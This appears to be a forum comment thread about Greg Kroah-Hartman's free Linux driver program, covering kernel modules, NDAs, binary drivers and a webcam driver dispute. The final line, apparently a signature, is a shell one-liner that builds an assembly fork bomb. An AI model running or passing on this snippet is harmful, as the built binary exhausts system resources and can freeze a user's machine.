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Update On Free Linux Driver Development
Remember the offer Greg Kroah-Hartman made earlier this year, to get Linux drivers written for free for any company that wanted them? Now an anonymous reader points us to an article up on linuxworld with an update to this program. Greg K-H, who leads the development of several kernel subsystems including USB and PCI, admits that the January offer was a bit of "marketing hype" — but says it has brought companies and developers together anyway. Twelve companies have said "yes please," one driver is already in the kernel, and five more are in the pipeline.
the volunteers write them without charging the OEMs, yes.
How we know is more important than what we know.
This post brought to you by these two patches, against 2.6.22-rc2:s s.general/2368 s s.general/2369
http://thread.gmane.org/gmane.linux.kernel.wirele
http://thread.gmane.org/gmane.linux.kernel.wirele
The little WG11v2 is a happy interface. Figure I'll need to stockpile a couple them critters.
Now, how is it that I'm off the hook for managing any of that bad, bad firmware with this wee beastie?
Ivo or Michael, though I'm nowhere near as cool as you dudes, I'll buy you a beverage if I see you in Ottawa next month.
Dunno if GKH's driver program actually helped in this matter, but the general trend in hardware is positive, and I feel Realtek and Netgear deserve a free shill.
Best,
Chris
Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
Modules. Pretty much all drivers are modules and not compiled directly into the kernel. They don't increase the kernel size unless you load them. Although they do increase the kernel source size (in their own files generally) so it is taking a little longer to compile all kernel modules, but that's a price I'm willing to pay for things just working.
Tharkban (It is a signature after all)
How we know is more important than what we know.
If the driver isn't well written, commented and documented, it will not be accepted into the tree. The NDAs are being drafted by the Software Freedom Law Centre.. you don't think they're going to get the best possible deal?
Otherwise, what would you prefer? Would you prefer the OEM hired a developer to make a binary-only driver? Which they'll stop supporting as soon as it is economically justifiable? Would you prefer they just don't release any drivers for Linux? Don't say you would prefer if they just sat down and wrote perfect developer documentation cause there's no such thing. Software developers don't need any circuit layouts in the first place, they just need the interface. Sometimes you do.. sometimes "the interface" just isn't defined and you need to sit there with an osciloscope to figure out what the hell this piece of hardware is doing.. and knowing what line is what kinda helps.
How we know is more important than what we know.
> A list of the twelve companies, please?
:-)
Maybe this is covered by the NDA mentioned in the article
(Us, no not us: we are a god fearing capitalist company: we would never deal with those commy GPL peeps !)
Nemosoft wrote a GPL driver which called out to a binary decompressor module. All was OK for a couple of years. Then Greg decided to rip out the callback. So suddenly the camera would only work in 160*120. Nemosoft then asked for the crippled driver to be removed. Greg did. Then Saillard forked the driver and decompiled the decompressor and put it back in the kernel. Nemosoft then complained that the decompiled code was illegal and got it removed from the kernel again.
Each step sounds like a perfect example of what the original poster was complaining about - people keep making changes that cause things to stop working.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;